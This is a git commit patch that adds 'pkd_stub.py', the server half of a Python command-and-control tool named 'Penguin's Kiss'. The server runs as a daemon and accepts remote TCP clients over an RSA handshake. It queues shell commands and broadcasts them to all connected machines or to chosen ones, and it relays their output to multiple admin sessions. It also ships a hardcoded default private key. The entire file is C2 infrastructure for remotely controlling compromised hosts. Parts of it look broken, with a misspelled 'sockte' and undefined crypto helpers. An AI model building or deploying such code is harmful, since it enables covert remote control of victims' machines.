From 80d123bd95a2a926dc7aef5810cec6834dbf84fb Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Thu, 22 Dec 2022 03:21:24 -0800 Subject: Built C2 controller with multi-client and multi-admin support --- pkd_stub.py | 553 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 553 insertions(+) create mode 100644 pkd_stub.py (limited to 'pkd_stub.py') diff --git a/pkd_stub.py b/pkd_stub.py new file mode 100644 index 0000000..b6ef8d4 --- /dev/null +++ b/pkd_stub.py @@ -0,0 +1,553 @@ +import os, sys, socket, threading, signal, json +from concurrent.futures import ThreadPoolExecutor + +# initial crypto config +SERVER_PROMPT = b'# ' +CONNECTED_PROMPT = b'$ ' +DEFAULT_PRIVKEY = { + 'n' : 566985700738319622174686131400034453643720466970978517574628629274979976524124940713860540038882426013024114564601644133774454954579859603022526047211561634473245368041734849645333850659593387029777461624139999293346678168096585398894872902836488432305321788895930893995350254306011511954048973993218576068120842406854381660868440914954041085267631248545101914138883676131275460708745009456577214046268195248043933401098454229528930264593554947172986600022924103676180205323189749504546460222696144254434950563003806500524021358243739253925888283568187475109036444929999292467231057057868003949542201486910774286204467263359268168124928585201908563486221036238676222817747434022603388355897696091620276281574099795985472307965135468502881374317279001616973398539298555877212283138431306761372378738101671232030286096798836533645647014376468992868000495595560982785914820504104078715279785802300066599327401921364225207587243296778060887445799525002269634182195900334989318967452442166075135355126785800284396564017524632233821326493688824504309419677467169118434525079593731269479730143537689127087750148171355493757239210404790175123435648784211703985569364347710928586741341454862278795609365544396160373248258804813219121521794117, + 'd': 556837628245436992258594353745698118228243955874087329373840686858641854357062082245249550621215930968800587604498530952381998240636252551824799220329355219818361610519831879130449485998047954022683316904590489563406405444426333561415224980059626492773543671826566612159798644554253703334153350963570508721005384754791574549035450677481451705329292120197093849300930908197101084167076060678138086956589500876529284670160381281251812984272999536442652387565428490913738235430699986833553997982416263008566934068345774167260144814410181017435736659956708708789203377351335496900390004981500773703531352617659109757194578984857180398552528891333113022224791018685454843296797667603791554700637297860618002492108978467427456668104433428337512441346843300723241861425217786682449652009806902779786726468810049128846369952153062504613238668046106715766225913013878725374564881609360260298003325733625331843908626880708147525900261607013505358791540629330161310254014903842144797601317221440909449161962394110410342659474869213071878556273369065034348504204889807185950624322995301874762713559375336446823625047623366082274935910850205164805850493608044771494978419878162374325380208609212967302669554969905283343054612922077635187252461953, +} + +def betterstr(obj): + if type(obj) == str: + return obj + return str(obj, 'utf-8') if type(obj) == bytes else str(obj) + +def prompt_str(): + global tcp_clients + return CONNECTED_PROMPT if len(tcp_clients) > 0 else SERVER_PROMPT + +def motd(): + mstr = '################################################################################\n'\ + + '# Penguin\'s Kiss #\n'\ + + '# _,\u2764 #\n'\ + + '# _.--""\'/ #\n'\ + + '# )-._.-\) #\n'\ + + '# Command & Control Software #\n'\ + + '# Contact cflems@cflems.net for support. #\n'\ + + '################################################################################\n' + return bytes(mstr, 'utf-8') + +def showcrypto(): + global privkey + return '[warcrypto] Server public key:\n{"n": %d, "e": %d}' % (privkey['n'], privkey['e']) + +def dispatch_command(sock, command, rpubkey): + global bits + send_encrypted(sock, command, rpubkey['e'], rpubkey['n'], bits=bits) + +# brint takes a string +def brint(*args, sep=' ', end='\n', prompt=True): + s = '%s%s' % (sep.join(map(lambda s: betterstr(s), args)), end) + bnnl(s, logging=prompt) + +def bnnl(s, logging=False): + sys.stdout.write(betterstr(s)) + sys.stdout.flush() + broadcast_screens(s, sv_prompt=logging, ctd_prompt=logging) + +def broadcast_screens(s, skip=set(), sv_prompt=False, ctd_prompt=False): + if type(s) != bytes: + s = bytes(s, 'utf-8') + + global alive, screens, screens_lock, tcp_clients + screens_lock.acquire() + if not alive: + screens_lock.release() + return + i = 0 + while alive and i < len(screens): + if screens[i] in skip: + i += 1 + continue + try: + screens[i].sendall(s) + if sv_prompt and len(tcp_clients) < 1: + screens[i].sendall(SERVER_PROMPT) + if ctd_prompt and len(tcp_clients) > 0: + screens[i].sendall(CONNECTED_PROMPT) + i += 1 + except: + screens[i].close() + del screens[i] + screens_lock.release() + +def blast_command(cmd, orig_screen, targets=set()): + print('[INFO] Blasting command: %s to %s' % (betterstr(cmd), betterstr(targets))) + if type(cmd) != bytes: + cmd = bytes(cmd, 'utf-8') + + global alive + if not alive: + return + broadcast_screens(cmd+b'\n', skip=[orig_screen], sv_prompt=True, ctd_prompt=False) + if not alive: + return + + wildcard = len(targets) < 1 + global cmdq, cmdq_lock, tcpc_lock + cmdq_lock.acquire() + if not alive: + cmdq_lock.release() + return + tcpc_lock.acquire() + i = 0 + while alive and i < len(tcp_clients): + try: + if wildcard or i in targets: + dispatch_command(tcp_clients[i]['sock'], cmd, tcp_clients[i]['pubkey']) + if wildcard: + tcp_clients[i]['qidx'] += 1 + except: + tcp_clients[i]['alive'] = False + finally: + i += 1 + tcpc_lock.release() + if wildcard: + cmdq.append(cmd) + cmdq_lock.release() + +def tcp_handshake(sock): + global privkey, bits, exp + nbytes, headsz = bits//8, 2 + rnbytes = int.from_bytes(sock.recv(headsz), 'big') + sock.sendall(nbytes.to_bytes(headsz, 'big')) + + if rnbytes != nbytes: + return False + + rpubkey = { 'n': int.from_bytes(recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits),\ + 'big'), 'e': exp } + + dispatch_command(sock, 'set -i', rpubkey) + return rpubkey + +def tcp_disconnect(client): + global alive, tcp_clients, tcpc_lock + tcpc_lock.acquire() + if not alive: + tcpc_lock.release() + return + client['sock'].close() + printdc = False + if client in tcp_clients: + printdc = True + cliidx = tcp_clients.index(client) + dcmsg = '[INFO] TCP Client %d disconnected.' % cliidx + del tcp_clients[cliidx] + tcpc_lock.release() + if printdc: + brint(dcmsg) + +def transport_tcp(client): + global tcp_clients, tcpc_lock + try: + rpk = tcp_handshake(client['sock']) + except: + rpk = False + if not rpk: + brint('[INFO] Handshake failed; disconnecting client:', client['addr']) + tcp_disconnect(client) + return + client['pubkey'] = rpk + + global alive, cmdq, cmdq_lock, privkey, bits + while alive: + if not client['alive']: + tcp_disconnect(client) + return + + if len(cmdq) > client['qidx']: + cmdq_lock.acquire() + if not alive: + cmdq_lock.release() + return + if not client['alive']: + cmdq_lock.release() + tcp_disconnect(client) + return + if len(cmdq) <= client['qidx']: + cmdq_lock.release() + continue + + cmd = cmdq[client['qidx']] + client['qidx'] += 1 + cmdq_lock.release() + try: + dispatch_command(client['sock'], cmd, client['pubkey']) + except: + tcp_disconnect(client) + return + else: + try: + data = recv_encrypted(client['sock'], privkey['d'], privkey['n'], bits=bits) + except: + data = b'\xde\xad' + if not alive: + return + elif data == b'\xde\xad': + tcp_disconnect(client) + return + elif len(data) > 0: + bnnl(data, logging=False) + +def serve_tcp(): + global sockets, tcp_port + if tcp_port < 1: + brint('[INFO] TCP listener disabled.') + return + + sockets['tcp'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock = sockets['tcp'] + try: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(('0.0.0.0', tcp_port)) + sock.listen(5) + except: + brint('[WARNING] Error binding TCP socket, TCP listener will now die.') + sock.close() + del sockets['tcp'] + return + brint('[INFO] TCP listener started on port %d' % tcp_port) + + global alive, pool, tcp_clients, tcpc_lock + while alive: + try: + cs, ca = sock.accept() + except: + brint('[WARNING] Error accepting TCP client, moving on.') + continue + + if not alive: + cs.close() + return + brint('[INFO] Connection from', ca[0], 'over TCP.', prompt=False) + + tcpcli = { + 'addr': ca, + 'sock': cs, + 'qidx': 0, + 'alive': True + } + tcpc_lock.acquire() + if not alive: + tcpc_lock.release() + return + tcp_clients.append(tcpcli) + tcpc_lock.release() + try: + pool.submit(transport_tcp, tcpcli) + except RuntimeError: + print('OUCH') + return + +def detach_screen(screen): + global screens, screens_lock + screens_lock.acquire() + if not alive: + screens_lock.release() + return + + sidx = -1 + if screen in screens: + sidx = screens.index(screen) + del screens[sidx] + screens_lock.release() + try: + screen.sendall(b'\xde\xad') + except: + pass + screen.close() + brint('[INFO] Screen detaching: %d' % sidx) + +def cliinfo(clients): + try: + info = '' + i = 0 + while i < len(clients): + record = {} + record['ip'] = clients[i]['addr'][0] + record['rport'] = clients[i]['addr'][1] + try: + record['rdns'] = socket.getnameinfo(clients[i]['addr'], 0)[0] + except: + pass + info += '- %d: %s\n' % (i, str(record)) + i += 1 + info += '[pk] %d total.' % i + return info + except Exception as e: + return repr(e) + +def screen_reader(screen): + global alive, screens, screens_lock, cmdq, cmdq_lock, tcp_clients, tcpc_lock + + try: + screen.sendall(motd()+b'\n') + screen.sendall(prompt_str()) + except Exception as e: + print('[ERROR] Sending motd produced:', repr(e)) + detach_screen(screen) + return + + while alive: + try: + data = screen.recv(1024).strip().split(b'\n') + except: + data = [b'\xde\xad'] + if not alive: + return + resp, shcmd = '', False + for cmd in data: + if not alive: + break + elif cmd == b'\xde\xad': + detach_screen(screen) + return + elif cmd == b'nscreen': + resp = 'Active screens: %d' % len(screens) + elif cmd == b'ncli': + resp = 'Active TCP clients: %d' % len(tcp_clients) + elif cmd == b'lcli': + tcpc_lock.acquire() + if not alive: + tcpc_lock.release() + return + resp = 'Active TCP clients:\n%s' % cliinfo(tcp_clients) + tcpc_lock.release() + elif cmd == b'lq': + cmdq_lock.acquire() + if not alive: + cmdq_lock.release() + return + resp = '[%s]' % ', '.join(map(lambda s : repr(betterstr(s)), cmdq)) + cmdq_lock.release() + elif cmd == b'cq': + cmdq_lock.acquire() + if not alive: + cmdq_lock.release() + return + cmdq.clear() + tcpc_lock.acquire() + if not alive: + cmdq_lock.release() + tcpc_lock.release() + return + for client in tcp_clients: + client['qidx'] = 0 + tcpc_lock.release() + cmdq_lock.release() + elif cmd == b'show-serverkey': + resp = showcrypto() + elif len(cmd) > 0: + shcmd = True + targets = [] + if cmd[:7] == b'TARGET=': + if b' ' in cmd: + sep = cmd.index(b' ') + for tval in cmd[7:sep].split(b','): + try: + targets.append(int(tval)) + except: + resp += '[pk] Invalid target: %s. Must be an integer.\n' % tval + cmd = cmd[sep+1:] + resp = resp.strip() + else: + resp = '[pk] Can\'t target null command.' + blast_command(cmd, screen, targets=targets) + try: + if cmd == b'\xc0\xdeprompt': + screen.sendall(prompt_str()) + continue + if len(resp) > 0: + screen.sendall(bytes('%s\n' % resp, 'utf-8')) + if len(tcp_clients) < 1: + screen.sendall(SERVER_PROMPT) + elif not shcmd: + screen.sendall(CONNECTED_PROMPT) + except Exception as e: + print('[ERROR] Sending command result produced:', repr(e)) + detach_screen(screen) + return + +def serve_screens(): + global sockets + try: + sockets['screen'] = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + sock = sockets['screen'] + sock.bind(socket_file) + sock.listen(5) + except: + print('[FATAL] Unable to bind socket file.') + cleanup() + + global alive, pool, screens, screens_lock + while alive: + try: + screen, _ = sock.accept() + except: + brint('[WARNING] Error accepting screen attachment, moving on.') + continue + if not alive: + screen.close() + return + + screens_lock.acquire() + if not alive: + screens_lock.release() + return + screens.append(screen) + screens_lock.release() + + try: + pool.submit(screen_reader, screen) + except RuntimeError: + return + +def cleanup(*args): + global alive, sockets, tcp_port, socket_file + brint('[INFO] Received stop signal, shutting down daemon.') + alive = False + if 'tcp' in sockets: + sockets['tcp'].close() + try: + ws = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ws.connect(('0.0.0.0', tcp_port)) + ws.close() + except: + pass + if 'screen' in sockets: + sockets['screen'].close() + try: + ws = socket.socket(socket.AF_UNIX, sockte.SOCK_STREAM) + ws.connect(socket_file) + ws.close() + except: + pass + + global tcp_clients, tcpc_lock, screens, screens_lock, bits + screens_lock.acquire() + for screen in screens: + try: + screen.sendall(b'\xde\xad') + except: + pass + screen.close() + screens_lock.release() + + tcpc_lock.acquire() + for client in tcp_clients: + try: + send_encrypted(client['sock'], b'tunnel', client['pubkey']['e'], client['pubkey']['n'], bits=bits) + except: + pass + client['sock'].close() + tcpc_lock.release() + + global pool + pool.shutdown(wait=True, cancel_futures=True) + + global pid_file + os.remove(pid_file) + os.remove(socket_file) + os.close(sys.stdout.fileno()) + os.close(sys.stderr.fileno()) + + sys.exit(0) + +def defaultint(s, default=0): + try: + return int(s) + except: + return default + +def main(args): + # initialize server + if len(args) < 3: + print('[FATAL] Insufficient arguments.') + sys.exit(1) + + global socket_file, pid_file, tcp_port, bits + socket_file = args[0] + pid_file = args[1] + log_file = args[2] + bits = defaultint(args[3], 4096) if len(args) > 3 else 4096 + tcp_port = defaultint(args[4], 2236) if len(args) > 4 else 2236 + key_file = args[5] if len(args) > 5 else None + + if os.path.exists(pid_file): + print('[FATAL] Another PK instance is already running.') + sys.exit(1) + + try: + logfd = os.open(log_file, os.O_WRONLY | os.O_APPEND | os.O_CREAT, mode=0o644) + except: + print('[FATAL] Unable to open log file.') + sys.exit(1) + + cpid = os.fork() + if cpid > 0: + sys.exit(0) + elif cpid < 0: + print('[FATAL] Failed to fork PK daemon process.') + os.close(logfd) + sys.exit(1) + + os.close(sys.stdin.fileno()) + os.dup2(logfd, sys.stdout.fileno()) + os.dup2(logfd, sys.stderr.fileno()) + os.close(logfd) + + try: + pidf = open(pid_file, 'w') + pidf.write('%d' % os.getpid()) + pidf.close() + except: + print('[FATAL] Could not open pid file.') + os.close(sys.stdout.fileno()) + os.close(sys.stderr.fileno()) + sys.exit(1) + + if os.path.exists(socket_file): + try: + os.remove(socket_file) + except: + print('[FATAL] Socket file exists and daemon doesn\'t have permission to clear it.') + os.close(sys.stdout.fileno()) + os.close(sys.stderr.fileno()) + os.remove(pid_file) + sys.exit(1) + + global privkey, exp + privkey = DEFAULT_PRIVKEY + if key_file: + try: + with open(key_file, 'r') as kf: + kj = json.load(kf) + privkey = {'n': int(kj['n']), 'd': int(kj['d']), 'e': int(kj['e']) if 'e' in kj else exp} + except: + pass + + global alive, sockets, pool, screens, tcp_clients, cmdq + global screens_lock, tcpc_lock, cmdq_lock + + sockets = {} + + pool = ThreadPoolExecutor() + screens = [] + screens_lock = threading.Lock() + tcp_clients = [] + tcpc_lock = threading.Lock() + cmdq = [] + cmdq_lock = threading.Lock() + alive = True + + signal.signal(signal.SIGTERM, cleanup) + + pool.submit(serve_tcp) + print('[INFO] Daemon started successfully.') + serve_screens() + +if __name__ == '__main__': + main(sys.argv[1:]) -- cgit v1.2.3